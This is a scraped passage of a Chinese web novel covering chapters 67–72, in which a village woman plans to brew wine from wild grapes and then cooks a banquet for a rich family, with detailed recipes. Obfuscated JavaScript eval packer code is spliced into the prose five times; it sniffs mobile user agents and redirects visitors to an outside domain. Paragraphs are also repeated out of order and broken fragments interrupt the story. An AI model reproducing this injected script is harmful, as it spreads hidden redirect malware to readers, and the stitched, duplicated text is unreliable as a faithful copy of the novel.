卜霜把她扶好了，让万辽几个都过来。 她刚刚一进门就看到这几个孩子衣服里兜了什么。 原来几个孩子衣服都兜了一小兜山葡萄。 武安村里还有葡萄？ 卜霜就问：“你们从哪摘的这山葡萄。” “就是山脚下常有兔儿草的那个地方，我们过去的时候看到这树上大冬天的还有果子，就摘了一个尝了尝，发现很甜，就多摘了些。”万路道。 那个地方卜霜知道，有一处暖泉，也许就是因为有这处暖泉，所以这树在冬天还能有山葡萄吧。 第67章 酿酒 万辽已经对卜霜知道很多别人不知道的食物做法这件事见怪不怪了，。 他看看自己衣服兜里的山葡萄，闻言立刻想到了什么，睁着大眼睛扑闪着，兴奋道：“娘，这山葡萄是不是也能做菜吃？” 其他孩子一听也回过神来，问道：“娘是不是又想到什么赚钱的新法子了？” 万辽这孩子，以为她什么都能用来做菜吗？ 卜霜无奈的捏捏他的脸。 不过挣钱的法子她确实有一个。 山葡萄是不能用来做菜，可是它可以酿酒啊。 不过万絮之前提到山葡萄是不能吃的，也就是说村里人之前就见过山葡萄，还吃过，但是不知道为什么得出来山葡萄不能吃的结论。 于是卜霜问道：“万絮，咱村以前就有山葡萄吗？” “是啊，后山那边很多山葡萄树呢，夏天树上结的果子可多了，村里人只要去过山上的都见过这山葡萄。”万絮道。 “那之前他们吃的山葡萄是什么味道？” 万絮想了想，道：“和我们这次吃山葡萄的味道很不一样，据说是酸的，还发点涩，吃多了还会拉肚子，所以村里人吃了之后都说这山葡萄不能吃，哦对了，夏天的山葡萄颜色也是绿色的，没有紫色的，但是我们这次吃的山葡萄是酸甜的，还是紫色的果子，所以我们几个看到后才没认出来，直接摘下来吃了。” 绿色的葡萄，看来是葡萄还不成熟的时候村里人就吃了，所以葡萄的味道酸涩，不好吃，还会拉肚子。 但是到了该成熟的时候，葡萄树上就没有山葡萄了。 看来他们这片地方并不适合种葡萄，如果不是有一处暖泉，这里根本就结不出成熟的山葡萄。 想到这里，卜霜忽然有了一个主意。 既然有暖泉的地方可以长出成熟的山葡萄，那如果把这葡萄种在她的大棚菜地里呢？ 大棚菜地的温度适宜，说不定也可以长出成熟的山葡萄，那以后不就可以生产出很多的山葡萄了吗？ 有了大量的成熟的山葡萄，她就可以酿葡萄酒卖了。 卜霜越想越觉得可行，对万路几个道：“你们带我去发现山葡萄的地方看看。” 万路他们四个如今对卜霜已经十分信赖了，她说什么他们就算不知道娘要干啥，二话不说就立刻跟着做。 所以一听卜霜想要见那些山葡萄，四个人就立刻应下来。 卜霜让万路他们去厨房把竹筐也带上。 正好她还要教万路他们赶牛车。 于是便把牛车牵出来，由万路先赶着车，一群人就坐着牛车去后山了。 很快他们带着卜霜就来到有暖泉的山脚处，这暖泉小，周围确实也没有几颗树山葡萄树，但偏偏就是这几颗山葡萄树在暖泉的滋养下结出来都是紫色的成熟的葡萄。 “万路，万絮，万辽，万萱你们拿着竹筐把这些树上的山葡萄都摘下来，摘之前找一些树叶垫在下面，不要把山葡萄碰了。”卜霜指挥几人。 “娘，咱把这些山葡萄都摘下来要干啥啊？”万辽乖乖的照做，一边问道。 “娘用这些山葡萄给你们酿几坛葡萄酒。”卜霜道。 “这山葡萄真的可以酿酒吗？” 卜霜对四个小崽子说了自己想要酿葡萄酒的想法，大家都有些不可置信。 卜霜也不知道，所以她准备先拿这些树上的山葡萄自己回家酿几坛试试，如果味道可以的话，她再种一些山葡萄到大棚菜地里去，多生产出一些成熟的山葡萄，然后批量做葡萄酒。 说干就干，知道这些山葡萄真的可能赚钱后，万路他们几个小家伙一下子就充满了干劲，立刻把竹筐从牛车上取下来，然后跳着去摘山葡萄。 他们人多，小半个时辰便把几颗树上的山葡萄都摘完了，背篓里满满当当的装了好几篓山葡萄。 卜霜看了一下他们竹筐里摘的山葡萄，满意的点点头。 这些山葡萄足够酿几坛酒了。 回家的路上就换成了万絮赶牛车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446560|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，万辽和万萱坐在牛车上，从竹筐里取出一串山葡萄出来，用袖子随便擦一擦，就一颗一颗的吃了起来。 卜霜也尝了很多，这个时节，还能吃到新鲜的水果实在是不容易。 而且这山葡萄实在是好吃，酸酸甜甜，一股葡萄的香气。 他们几个人回家的路上，就边吃边哼着小曲，说说笑笑的十分开心。 回了家后，大家把车架子取下来，把牛赶进牛棚，之后就把一筐筐的山葡萄从车上拿下来，放到院子里。 “娘，你现在就要酿酒吗？” 卜霜想了想，摇摇头：“今日不行，我得买几个酿酒的缸子回来，家里没有能酿酒的东西，要能装二十升的那种酒坛子才行。?0?2” 他们现在有自己的牛车了，就是去买酒坛子也好拉回来。 晚上她就把自己想要酿葡萄酒的想法和赵昭明说了。 “酿酒，好啊。”赵昭明一点也不惊讶，一听卜霜的想法立刻表示支持，“你不是想开酒楼吗，现在光卖卤味还是太单调，要是你能酿出自家做出的好酒，那么以后卜记食铺的名声就会更加响亮。” 卜霜笑着接过她的话：“而且那些卤味都是下酒的好吃食，食客们买了卜记的卤味后大多也会去酒铺子里打上一壶酒就着吃，要是我们铺子里就能买到自制的葡萄酒，我觉得食客们买了卤味后，大多都会买一壶回去尝尝，这酒是有的赚的。” 赵昭明兴奋的问：“卜妹妹，你打算酿多少啊？” “我也没把握呢，准备就先酿个三四坛的，咱自己人先喝，尝尝味道可不可以，可以的话我就多酿拿到铺子里卖。” 赵昭明就给卜霜算了算。 “咱镇上也没听说过有卖葡萄酒的，县城里好像有，不过听说葡萄酒都是从番邦进来的，价格贵的很，你要是酿葡萄酒，用的都是山里的山葡萄，价格就算比番邦进来的卖的低些，那也是赚不少呢，而且你如果想把这些葡萄酒卖给酒铺子，那些镇上的县城里的商铺肯定也是抢着买你的酒，那赚的就更多啦。” 第68章 酿酒2 赵昭明本来就聪明，这些天跟着卜霜做生意，又学了不少，现在说起生意经来头头是道。 卜霜笑着看她：“你倒是啥都由着我。” 赵昭明推她：“我这不是信任你吗？” “行行行，那等这次的葡萄酒酿好了，我就给你送一坛酿的最好的酒过去。” “你说的啊，我就等着享受这卜掌柜亲自酿的葡萄酒了。” 第二日，万路他们去私塾的时候，卜霜就坐着牛车和万路他们一道进了镇上。 镇上有个很大的瓷器窑，里面的瓷器应有尽有，普通家庭用的水缸，腌菜坛子，酒坛子之类的各种尺寸的也都很多，所以镇上的很多商铺都在这里定做。 卜霜上次也是在这里买的腌菜缸，当时好像就见过有一家酒铺子从这里拉了一批定做的酒坛子，样子大小都十分的合乎心意，于是她就准备来这里买几个酿酒的坛子。 她过去后，伙计带着去她看了几种坛子，卜霜很快就挑好几只二十升的大坛子。 颜色好看，阔口坛子，还带着盖子。 别说酿酒，就是直接用来卖酒用这种酒坛子也很好了。 问了价钱二十文一只，卜霜就买了三个。 伙计常年接触各种老板，一下子便看出卜霜不一般，之后很可能是个大主顾了，于是热情的帮着把坛子搬到牛车上，捆扎结实了。 卜霜照常去了卤味铺子，卖完卤味后，就赶着牛车回家了。 回家后，卜霜叫来了和赵昭明，她们两人把酒坛子拿下来，里里外外的清洗干净，又在火上蒸了蒸。 酿酒的缸子一定要干净，这酒酿出来的口感才会好。 然后她们将昨日万路他们摘好的几筐山葡萄都一粒粒的摘下来，放在水中浸泡清洗干净，然后捞出，再把那不好的不新鲜的山葡萄都取出去，这种山葡萄不挑出来的话也会影响酒的口感，再之后就把洗干净的山葡萄擦干表面的水，然后小心装到酒坛子中，每只坛子都要留出一些空间，不能放满。 装好三个坛子，然后在酒坛子里撒上糖，盖好盖子找阴凉的地方放着等着就好了。 卜霜家现在有一个很大的地窖，做好了酒，正好可以放酿酒。 卜霜和赵昭明边聊边干，不知不觉就把山葡萄都洗干净装好了。 把葡萄酒放到地窖后，赵昭明揉揉自己酸痛的胳膊，露出笑容来。 但是她跟着做下来，也没发现有什么难得，这酿酒这么简单吗？ “卜妹妹，这葡萄酒就这么简单就能酿出来了？”赵昭明问。 “怎么可能，这只是酿酒的第一步，想要酿出葡萄酒来还早着那。”卜霜道。 “山葡萄放到酒坛子里后要经过几次发酵，然后还要过滤，起码要个把月的时间才能喝到呢。” “我就说呢，要不然酒铺子里的酒买的也太贵了。”赵昭明这才点头，然后又道，“卜妹妹，但是会酿酒法子的有很多人，如果你以后卖葡萄酒赚了钱，村里人知道了也去采山葡萄酿酒呢。” 这个卜霜早就想过了。 酿酒是不难，难得是找到这酿酒的好材料，酒的味道才会好。 山上只有暖泉旁的几颗葡萄树结的山葡萄是成熟的，其他的山葡萄都又酸又涩，酿出的酒怎么可能和她酿葡萄酒比。 而且卜霜觉得她酿酒的法子也不是人人都能学的来的。 都收拾好后，卜霜洗了洗手，对着赵昭明道：“咱也好久没在一块吃饭了，孩子们再有一会儿就该回来了，你今晚就别回家做饭了，就在我这吃饭吧。” 卜家现在的日子蒸蒸日上，赵昭明也就不和她客气了，爽快道： “行，那我今晚就躲个懒就不做饭了，在你们家吃好的。” 卜霜住进新房后，又在另外的几块菜地里种了各样的菜，改成了大棚菜地。 如今她菜园子里的蔬菜各式各样，产量还很多， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446561|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做饭时只要进去摘来吃就行了，都不用再去镇上买了，方便的很。 今晚要留赵昭明吃饭，她就进菜园子里摘了些豆角和黄瓜。 准备做个炖鸡，豆角炒肉和拌黄瓜，主食有前几天刚蒸出来的大馒头。 卜霜先把鸡肉处理好，然后把鸡肉切块冷水下锅后加入姜片和料酒去腥，然后捞出后沥干。 “卜妹妹，这葡萄酒就这么简单就能酿出来了？”赵昭明问。 “怎么可能，这只是酿酒的第一步，想要酿出葡萄酒来还早着那。”卜霜道。 “山葡萄放到酒坛子里后要经过几次发酵，然后还要过滤，起码要个把月的时间才能喝到呢。” “我就说呢，要不然酒铺子里的酒买的也太贵了。”赵昭明这才点头，然后又道，“卜妹妹，但是会酿酒法子的有很多人，如果你以后卖葡萄酒赚了钱，村里人知道了也去采山葡萄酿酒呢。” 这个卜霜早就想过了。 酿酒是不难，难得是找到这酿酒的好材料，酒的味道才会好。 山上只有暖泉旁的几颗葡萄树结的山葡萄是成熟的，其他的山葡萄都又酸又涩，酿出的酒怎么可能和她酿葡萄酒比。 而且卜霜觉得她酿酒的法子也不是人人都能学的来的。 都收拾好后，卜霜洗了洗手，对着赵昭明道：“咱也好久没在一块吃饭了， 葡萄酒要酿好长时间才能做出来，这些时间，卜霜就照常每天去卤味铺子上卖卤味。 荔香果然是个能干的。 她一个人把清理猪下水，打扫铺子和事情都。 卜霜只要盯着火候，售卖卤味就好了，很是清闲。 这日又是那位富家公子。 “我不是来买卤味的，我家，我要请你来我家” 她忙的很，哪有什么空闲去比别人家当大厨。 之间那富家公子，“做一顿饭，给你二十两银子。” 第69章 何公子 这日卤味卖的差不多就快要收摊时，卜霜就让荔香在前台售卖剩下的一点卤味，她则回去在柜台里清点账目，忽然听到门外有到有人在喊她，一抬头，就见到了一个不算陌生的人，正是那位在卜记食铺开业时一口气要了二十五斤卤味的富家公子。 自从那日他早早排队买了一大批卤味，之后也能时不时的见他家小厮过来买一些卤味带回去。 已然是卜记食铺的忠实食客了。 不过倒是很久没见他自己过来买了。 万辽前不久还问过，但是卜霜明白，像他这样的有钱人家的小公子，上次能自己亲自排队买吃食已经是很少见的。 今日怎么过来了？ 男人还是以往那么傲气十足的模样，锦衣华服的，身后跟着好多小厮，看上去富贵又招摇。 看到卜霜抬起头朝她一挑眉：“呦掌柜的，生意很是兴隆啊，我就说我这嘴十里八乡的酒楼没有我没吃过的，能让我觉得吃完还念念不忘的味道怎么可能平平无名，果然你现在铺子的生意比开业时还红火不少。” 这说的好像铺子里能有现在的生意还要有他的功劳似的。 不过他这张狂轻傲的样子却莫名让人觉得好玩，并不让人生厌。 而且这人现在可是卜记食铺的大主顾了。 卜霜合上账本，就将人请进卤味铺子里坐着，让荔香上茶。 男人喝了一口茶，轻轻一皱眉，呸呸两声，就将茶推远了：“你这什么茶啊都，一股子膻味，我就没喝过这么难喝的茶。” “哎你这人...” 荔香擦着桌子听了这话一皱眉，把抹布丢下，撸起袖子里就要冲过来，这茶可是卜掌柜从后山摘回来自己晒的，她怎么就没喝出来什么味，这人怎么说话呢。 卜霜忙按住荔香的手，压低声音在她耳边劝道：“他说话就这样，别和他一般见识。” 这男人果然还是那个目中无人，一开口就得罪人的说话风格。 卜霜就道：“我这卖卤味的铺子能买什么好茶喝啊，这都是村里人自己摘的，公子家里什么茶没有，既然喝不惯还是回去喝吧。” “对了，公子来我这里买了许多次卤味，我还不知道你叫什么呢。” “我姓何，叫何喻昌，你呢，你叫什么？”何喻昌问道。 卜霜点点头：“我叫卜霜，何公子今日过来是有什么事吗，如果是来买卤味的，那你来的可就晚了，卤味都卖的差不多了，就剩下一些卤的猪肚了。” 何喻昌摇摇手：“我家小厮上次在你这一口气买的多了，现在家里还没吃完呢，我今天过来不是买卤味的，是特意过来找你的。” 不买卤味，来找她？ 找她来做什么？ “找我做什么？” 何喻昌道：“我家祖母今晚要在家中办宴席，我呢就在我祖母面前接下了这请大厨的事，今天过来，就是要找你来我家做一桌菜哄我祖母开心。” 原来是想请她去何府做席面。 “我一个做卤味的，要是让我上几盘切好的卤味还可以，哪里会做什么席面，何公子还是另请他人吧。”卜霜对这事兴致不高。 何喻昌见她居然没有一口答应，有些着急：“你别拒绝啊，我的嘴巴吃遍了山珍海味，会吃的很，能做出那样的卤味就说明你的厨艺很不一般，而且我来之前已经去你住的村里打听过了，你不久前还办暖房宴请村里人吃过席面吧，那么大五桌子的席面都是你一个人做的，你不会做菜？据说吃过的人都说比醉香楼的菜还香，卜掌柜，你厨艺在村里都是出了名的，可别想蒙我。” 好家伙，这何喻昌也不傻啊，来之前都打听好了，准备的够全面的。 但是卜霜确实没兴趣，她如今忙的很，哪有什么空闲去别人家里当大厨。 “我们村的人哪去过什么醉香楼啊，都是他们瞎说的。” 何喻昌见卜霜不为所动，从怀里掏出钱袋子：“你要是过来当大厨，今晚做这一顿饭，我给你三十两银子。” “三十两，公子，这...”身后跟着的管家都被震惊到了，上前想要劝一劝。 别说醉仙楼的大厨，就是请县城里最好的酒楼的大厨 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446562|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，办这一桌席面也用不了这么多银子啊。 有钱也不是这么花的啊。 何喻昌一手制止了管家的话，紧盯着卜霜。 镇上和县城里有名的大厨他们家平日都吃够了，祖母这次办宴席觉得往日吃的菜都不够新鲜，想要吃些新的手艺，这次他可是在祖母面前夸下海口了，要给祖母请一位厨艺一流的大厨过来做席面。 这不他就想起卜霜了。 他何喻昌一生顺风顺水，就从没人拒绝过她，结果一而再再而三的被这个女人连着拒绝。 他就不信了，这么多银子，打动不了这个女人。 卜霜看着那袋子钱笑了。 三十两银子，放在村里人眼里是一笔巨款了，要是对于从前的卜霜来说，这三十两银子确实很有吸引力。 但是对于现在的她来讲，这三十两银子。 还是很有吸引力。 于是卜霜想都不想立刻点头：“行啊，何公子，什么时候去做席面，你家住在哪里啊，有我在，今晚的席面保准你家老夫人满意。” 身后的荔香眨了眨眼，被卜霜前后的变化看呆了。 卜霜眉开眼笑。 这可是三十两银子啊，卜记食铺要卖一个月的卤味才能赚到的银子，她做一顿饭就得了，这放谁谁能不心动。 何喻昌这才满意，他向来花钱都大手大脚的，一下子就把那钱袋子都给了卜霜。 “你别干别的了，现在就跟我走，坐我的车直接跟我回府去。” 里面有十两银子，剩下的钱等卜霜做好了宴席再给她。 卜霜就把钱给了荔香，荔香捧着这三十两银子手脚都发软了。 她跟着卜霜真是作对了，这才第几天，真是见了世面了，以前她以为五十文就很多了，原来有钱人一出手就是这样阔绰的。 先送何喻昌出去后，卜霜和荔香交代两句，铺子里剩下的卤味也不多了，她就让荔香卖完剩下的卤味收拾好铺子后直接回去就行，卜霜则直接坐着何喻昌的马车进了何府去做宴席。 第70章 何家宴席 何府位于镇上最热闹的街道之一，整个老宅的规模宏大，气势磅礴，卜霜跟着何喻昌进去后，就被那里面气派的样子震撼到了，她来了这个时代后还没有见过如此规模的宅子呢。 何府的布局错综复杂，廊道迂回，整个院子富丽堂皇，每一处细节都那么精致。 何府中的小厮丫鬟们穿梭其间时，皆是衣着整洁，面带恭敬，都步履轻盈，神情专注，显然都是训练有素之人。 卜霜看着两旁的飞檐楼阁，雕花的屋檐和精美的栏杆。 有些咂舌，这何家也不像普通的大户啊，这么有钱再镇上也属于非同一般了吧，这样的富贵，难怪能养出何喻昌这样性格。 这一路上边走那位管家就边和卜霜大概讲了讲何府的情况。 卜霜这才知道，这还不是何府唯一的宅子，何府生意起家，生意做的很广，大江南北的遍布产业，所以何府的宅子也有很多，这处宅院是专供老夫人住的，老夫人是镇上的人，所以这些年一直在这里定居，儿子们也常来这里住几个月。 看来何喻昌之前嫌弃茶也不是他挑，单纯好茶喝多了嘴叼。 走到一处宽敞的庭院，这后面就是准备宴席用的厨房了。 何喻昌对卜霜又道： “卜掌柜，我知道你厨艺好，但是寻常的菜我祖母可都不爱吃，今日宴席上的客人身份贵重，你多上点心做，不然我就要在祖母面前丢脸了，回头我爹也得说我。” 从铺子里坐马车到何府的这一路上，何喻昌已经和卜霜再三说了好几遍，可见这顿宴席确实很重要。 这老夫人也是个心大的，这么重要的席面居然随便就让这个不靠谱的孙子去请大厨了。 这不，何喻昌就把她这个名不见经传的大厨给请过来了。 卜霜不耐烦的打发走了何喻昌后，就进了厨房。 这何家的厨房可比她家的大多了，案板上放着各种各样的香辛料，普通人家调味都用最基础的粗盐，只有有钱人才用的起香辛料，可是何家的香辛料不仅数量多，而且种类也多，几乎囊括了市面上卖的所有的香料种类。 左右储物的库房里挂着腊肉，腊肠，风干的干菜。 厨房里头各样珍奇和市面上见不到的蔬菜和肉都应有尽有。 丫鬟和小厮们都在忙碌的干活。 旁边有一个中年妇人指挥着她们。 管家跟进来给她介绍：“这位是厨房管事张嬷嬷，之后你做菜时她来帮你，你有什么需要的要做的直接吩咐她就好。” 他又对张嬷嬷道：“这位就是少爷请回来做席面的大厨，姓卜。” 张嬷嬷宽脸，细长眼，上下一扫过卜霜就有些不满。 本以为少爷会去常去的酒楼里请大厨，没想到少爷请回来就是这么一个小娘子，看着年纪轻轻的她能行吗？ 管家说了几句后就出去了，管家走后，张嬷嬷淡笑着问卜霜：“不知道卜大厨平日是在哪个酒楼里掌勺，我怎么没见过你？” “我不是什么酒楼的大厨，我有一家食铺子，叫卜记食铺，我是那里的掌柜。”卜霜道。 卜记食铺？ 只是一家食铺子？ 厨房里的小厮丫鬟都看过来，互相讨论起来。 张嬷嬷闻言就有些不屑。 他们何府是什么人家啊，镇上的大厨平日里想来何府做菜都没有门道，县城里的大厨也请过不少次了。 小公子到底是怎么想的，怎么请了这么个听都没听过的小食铺子里的妇人过来给何府操办席面。 今晚宴请的可都是附近有名的富商。 老夫人说了，今晚的席面一定要最好的，一点差池都不能有。 “你能信” 就有那眼尖的小厮上前道：“张嬷嬷，我们是不是要另外去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446563|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 把醉香楼的大厨请过来。” 张嬷嬷也想啊，可一想到那位小公子的脾气，她就无奈。 “行了，都什么时候了，既然少爷请了她，就让她做吧。” 张嬷嬷瞥一眼卜霜，就自己先走了。 卜霜目光在厨房的食材中扫视，心中已有了几分计较。 这次不是在村里，宴请的都是达官贵人，不能做家常菜，宴席的话，她准备做十二道菜，考虑到老夫人年级大了，少做辣的，多做爽口的。 都想好之后，卜霜开始着手准备做菜。 她熟练地切着食材，调配着调料，每一个动作都显得那么从容不迫。 冷盘就做四道，醉虾，风鸡，腊鹅，糟鱼，主菜就做那就是糖醋鱼，八宝鸭，鹿筋烩冬笋，樱桃肉，龙井虾仁，松茸味豆腐，主食是蟹黄汤包，碧梗米饭，火腿鲜笋汤面。 她先将醉虾腌制入味，那虾肉质鲜嫩，经过特制的酱料腌制，更显鲜美。风鸡与腊鹅则精心挑选，肉质紧实，风味独特。糟鱼更是经过长时间的糟制，鱼香四溢，入口即化。 接着，她开始处理主菜。糖醋鱼外皮炸得金黄酥脆，浇上特制的糖醋汁，酸甜可口。八宝鸭内藏八宝，香气扑鼻，鸭肉酥烂。鹿筋烩冬笋，鹿筋软糯，冬笋清脆，口感层次丰富。樱桃肉色泽红亮，肥而不腻，入口即化。龙井虾仁，虾仁鲜嫩，茶香浓郁，清香四溢。松茸味豆腐，松茸的鲜香与豆腐的细腻完美融合，味道醇厚。 主食方面，蟹黄汤包汤汁丰富，蟹黄鲜美，皮薄馅大。碧梗米饭颗粒分明，香气扑鼻。火腿鲜笋汤面，汤头清爽，面条劲道，火腿与鲜笋的搭配更是恰到好处。 卜霜手法娴熟，每一道菜都做得精致可口，让人垂涎欲滴。厨房中的小厮丫鬟们看得目瞪口呆。 卜霜一边忙碌着，一边还不忘指导身旁的丫鬟们如何更好地掌握火候，如何调配调料的比例。她的每一个动作都显得那么从容不迫，仿佛这一切对她来说早已是驾轻就熟。 第71章 糖醋鱼，樱桃肉，鹿筋烩冬笋 卜霜但笑不语。 不过是一桌子席面，这有什么难的，她会的远远不止这些。 “卜掌柜你确定要做这些菜吗？”小丫鬟听后也有些犹疑。 何府里的吃食很讲究，各种酒楼的大厨也经常来何府里做菜，但是卜掌柜说的这些菜里有好多她听都没听过，菜名直接直白的还好说，但是比如樱桃肉，她都不知道是要用什么做的。 卜霜笑着洗手：“你只管去备菜吧，不会的问我，我不会连累你被骂的，替你家小公子多上点心，这顿席面做好了，你肯定有赏钱拿。” 小丫鬟便哎了一声，高高兴兴去备菜了。 厨房里帮工的人便又是一阵嗤笑。 卜霜不为所动，一样样的说每样菜需要的食材，小丫鬟一样样的做。 她这次还是先做冷菜。 所谓的水晶肴肉用到的是猪的前蹄。 卜霜就让小丫鬟取出两只猪蹄抛开去骨，再用竹签在猪蹄上扎上孔更好入味，然后把红曲米加水煮一会儿，滤出红曲米水，冷却后在猪蹄表面抹上，然后再用粗盐，花椒，八角干炒出香，揉搓猪蹄，腌制后静置一个时辰。 每到冬季，镇上的有钱人家厨房里都会做许许多多的腊味和干菜，年节时这些腊味做菜和赠礼都十分的好用。 卜霜一进门就看到了库房里挂着的各种腊味，所以才想出的这几道冷菜。 她让小丫鬟收拾猪蹄前便让她从库房里取出一只风干了的三黄鸡和一只蜡鹅清理好，趁着猪蹄腌制需要时间，便撸起袖子开始做风鸡。 卜霜先把粗盐和花椒炒香，然后涂抹在洗干净的鸡腔里，塞入姜片后，然后把鸡肉加黄酒后蒸半个时辰，蒸出后把鸡肉拆骨撕条，再在上面淋上一层芝麻油，风鸡便可以装盘了。 腊鹅是年节硬菜，何府就有现成的，卜霜只要把腊鹅切块，加姜片和黄酒蒸半个时辰就可。 两道冷菜迅速做好，至于那糟鱼就要费一番功夫了，做糟鱼要用鲫鱼，卜霜先把清理好的鲫鱼划斜刀，然后下锅炸至酥脆。 接下来就要调制糟卤了，她把香糟，黄酒，清水混合，然后加入糖，盐，花椒，桂皮煮沸，锅里面放好葱姜后，把鲫鱼块放进去，再用调制好的糟卤淋入锅中，最后这道糟鱼要足足焖够两个时辰，再用冰块镇过后才能上桌。 卜霜做完这些，正好猪蹄也就腌好了。 她将腌好的猪蹄洗净后冷水下锅，加入葱姜，黄酒，姜片，煮沸后撇去浮浮沫，然后再换水开水没过猪蹄，小火炖煮直猪蹄炖的软烂为止，趁热捞出猪蹄后用纱布包好，在上面压上石块定型，然后把猪蹄用冰镇过后切片，最后放上酱香醋。 卜霜不慌不忙地在灶台上忙活着，她手法利落，切菜，炒菜，调味，每一步都显得那么得心应手。 没多久，四盘凉菜就弄好了。 那些原本看笑话的丫鬟和小厮们，慢慢都不笑了，一个个惊讶地看着卜霜的厨艺。 同时做四道菜，但是对于她来说却好像是小菜一碟一样。 厨房里弥漫着食物的香气，有的丫鬟忍不住在空气中嗅了嗅。 “你们别说，好香啊。” 张娘子看着大家的反应，不屑地哼了一声。 “她做的这几道凉菜其实也不难，那风鸡和腊鹅，不是什么稀奇东西，我们府上以前的宴席上也常做，她只是抽空做了，那水晶肴肉和糟鱼是没见过，但是看起来也没什么大不了的。” “凉菜只是小意思，你们先看看她热菜能不能做好吧，那才是真功夫。” 凉菜做好，卜霜擦了擦手，转身又开始准备热菜。 首先要做糖醋鱼。 这道菜卜霜之前在村子里也做过，但是这次的糖醋鱼是要上何府席面的，所以这道糖醋鱼的做法就和卜霜之前在村子她做的有所不同。 小丫鬟把鲤鱼去过腥线后，两面改花刀。 卜霜先把淀粉，面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15446564|169419||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 粉，糯米粉和水搅在一起，把面糊搅成絮状后，再在里面加入一些植物油。 她把鱼肉在面糊里裹好，然后一手提着鱼尾，一手把锅中的热油淋上去，鱼定型后再放入热油中，炸至鱼肉的外皮酥脆后，捞出再复炸。 接下来就要调鲤鱼上面的糖醋汁，卜霜把番茄酱，白醋，白糖，清水和盐拌匀，勾芡到浓稠后再加一勺热油提亮。 然后她就把这道糖醋鱼菜先放到了一边，调好的料汁并不着急浇到鱼上去。 这道菜她是有新意的。 要等鱼上了席面上后当着众人的面再做这菜的最后一步，那才有趣。 小丫鬟把鱼和酱汁端走放到食盒子里用木盖子小心盖好，卜霜便开始着手做下一道菜，八宝鸭。 她先将小丫鬟泡好的糯米和干贝取出来，然后加入冬笋丁，火腿丁，香菇丁，莲子，栗子，青豆，放入生抽和猪油，下锅炒香，这样八宝馅料就做好了。 之后她将清理好的鸭肉焯水后把馅料塞入鸭腹，用棉线收口，再在鸭皮抹上老抽上色。 然后就要上锅蒸了。 卜霜将鸭腹朝下放入坛子里，里面加入葱姜和鸡汤，火上要蒸足两个时辰才能出锅，这段时间内时不时要给鸭肉翻面，卜霜便交代给小丫鬟看着。蒸好后还要原汤勾芡淋面。 接下来她要做樱桃肉。 卜霜把五花肉冷水下锅，加入黄酒煮熟捞出，用红曲米水给五花肉上色。 铁锅炒出糖色后，再下入五花肉翻炒，然后加入红曲水，生抽，香醋，八角，再加入沸水，大火炖煮到收汁，再加入新鲜的樱桃，略微煮一煮，樱桃肉就可以装盘了。 接下来的一道菜就是十分奢侈的一道菜了，除非是何家这样的大户，否则就算其他人会做也做不出来。 卜霜将泡好的鹿筋加姜片和黄酒蒸两个时辰，然后鹿筋蒸的软糯后切成长段。 冬笋剥壳，焯水时加米醋去涩味，然后再用冷水浸泡。 第72章 见多识广的老夫人 菜都备好，接下来才是重头戏，只见卜霜用了整整一只老母鸡和一大堆猪骨长时间炖煮，炖好汤之后却捞出鸡和猪骨，这么些肉只为了熬出来的那一锅高汤，紧接着她在高汤中加入鹿筋，冬笋，花菇，又用小火炖煮了两个时辰，然后加入蚝油，冰糖，白胡椒粉调味，最后用淀粉和着水勾芡后，装入砂锅后撒上葱油增香。 这道鹿筋烩冬笋，用的材料多得不得了，不是有钱有势的人家还真做不出来。 